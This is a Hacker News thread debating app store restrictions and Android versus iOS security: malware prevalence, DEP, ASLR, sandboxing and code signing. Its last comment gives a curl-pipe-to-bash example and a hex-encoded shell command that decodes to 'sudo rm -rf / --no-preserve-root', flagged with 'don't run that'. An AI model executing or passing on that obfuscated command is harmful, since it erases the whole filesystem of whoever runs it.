Right now, one of the top stories on HN is Rogue Amoeba's Airfoil Speakers Touch iOS app being removed from the App Store (http://news.ycombinator.com/item?id=4019660). If the devices I use subscribed to the "user must be totally protected from themselves" philosophy, then I'd be totally unable to use their product. However, that's thankfully not the case -- I can still purchase and use Airfoil for Mac and Windows, two (currently) mostly open platforms (http://rogueamoeba.com/airfoil/).
Mountain Lion's Gatekeeper, iOS, and the WinRT restrictions make me wary of the future.
I believe their argument is to allow them to retain a semblance of control on their respective platforms. Something about people always blaming the maker of their operating system for the glitches which may or may not actually be the OS's fault, and can tend to be the programmers fault.
That's what they say anyways.
Quite simply because a network operator or handset manufacturer (often both) make their own changes to what is, I imagine, a relatively secure base platform.
That requires users to trust the NetOp and manufacturer's intentions and, assuming that's all good, users must trust that the NetOp and manufacturer's code is secure.
My trust, like my respect, is earnt. It's not handed away on a silver platter.
How about this news from an hour ago?
http://www.informationweek.com/news/security/attacks/2400009...
Or this posted 6 hours ago?
http://www.cbronline.com/news/uk-regulator-shuts-down-androi...
This was posted yesterday.
http://www.forbes.com/sites/andygreenberg/2012/05/23/researc...
Let me know if you need more references.
Note, I didn't say Android is inherently less secure than iOS. Apps policy is the difference and the topic of discussion.
What's up with the needless FUD accusations?
> Android on mobile shows us how spyware and viruses are a very big problem without those restrictions, compared to, say iOS
Which I took as saying Android is inherently less secure, but I agree after your clarification that isn't what you were actually saying.
That said, this doesn't show Android is more susceptible to viruses than iOS devices, and iPhones are not immune to botnets either (http://nakedsecurity.sophos.com/2010/03/09/8000-iphone-andro... - though this only affected jailbroken iPhones). Previous jailbreak exploits that worked through Safari could have been disastrous as well - it's not that iOS is more secure, but I do agree it seems to be less targeted. As the popularity of iOS seems to be on the rise I believe this will change.
iOS has full W^X (aka DEP), Android does not. This prevents JITs on iOS, but it also makes exploits more complex. iOS also has full ASLR (even kernel-level ASLR likely coming in 6.0), Android doesn't to the same extent. iOS also has a more restrictive an low-level sandbox, which denies access to many kernel interfaces; Android has a sandbox, but less restrictive. iOS also has app review; with Android, malware could (and has) easily enter the user-facing market. All code that runs on iOS must be signed by Apple, this significantly hurts exploit development as all code must be written using "gadgets" from existing, signed code. Android will run anything.
Android also has the issue of updates: most Android 2.x phones are not going to ever get the improvements in later versions.
More technical info: http://www.trailofbits.com/resources/mobile_eip-04-19-2012.p...
But then, OSX and Linux don't have quite as many spyware and viruses, so the lack of restrictions is NOT the problem.
(yes, OSX has recently seen a surge in malware - the vast majority of it predicated on exploiting Java. Java might be a problem. Lack of restrictions isn't)
http://en.wikipedia.org/wiki/Usage_share_of_operating_system...
To sum it up, my assertion is:
Popular and lack-of-restrictions implies malware is made.
And what you said does not contradict that assertion.
That's a more reasonable assertion (but isn't what your original post said, nor was popularity implied).
And while it is reasonable, I don't think there's really a way to draw a conclusion here; e.g. in the early 2000s, Apache had something like 6 times the market share of IIS and about 1/30 of the exploits; product design DOES make a difference here.
I don't know how easy it is to get someone to run an OSX executable, but a linux virus spreading by email would have to include instructions to the user along the lines of
save this file as really_innocent_file, drop into a shell, run
chmod a+x really_innocent_file && exec really_innocent_file
and you'll see a naked picture of $CELEBRITY.RVM uses curl piped to bash in its installation instructions (https://rvm.io/rvm/install/)
$ curl -L get.rvm.io | bash -s stable
Viruses need only do the same thing. $(echo 7375646f20726d202d7266202f202d2d6e6f2d70726573657276652d726f6f740a | xxd -r -p)
Disclaimer: don't run that.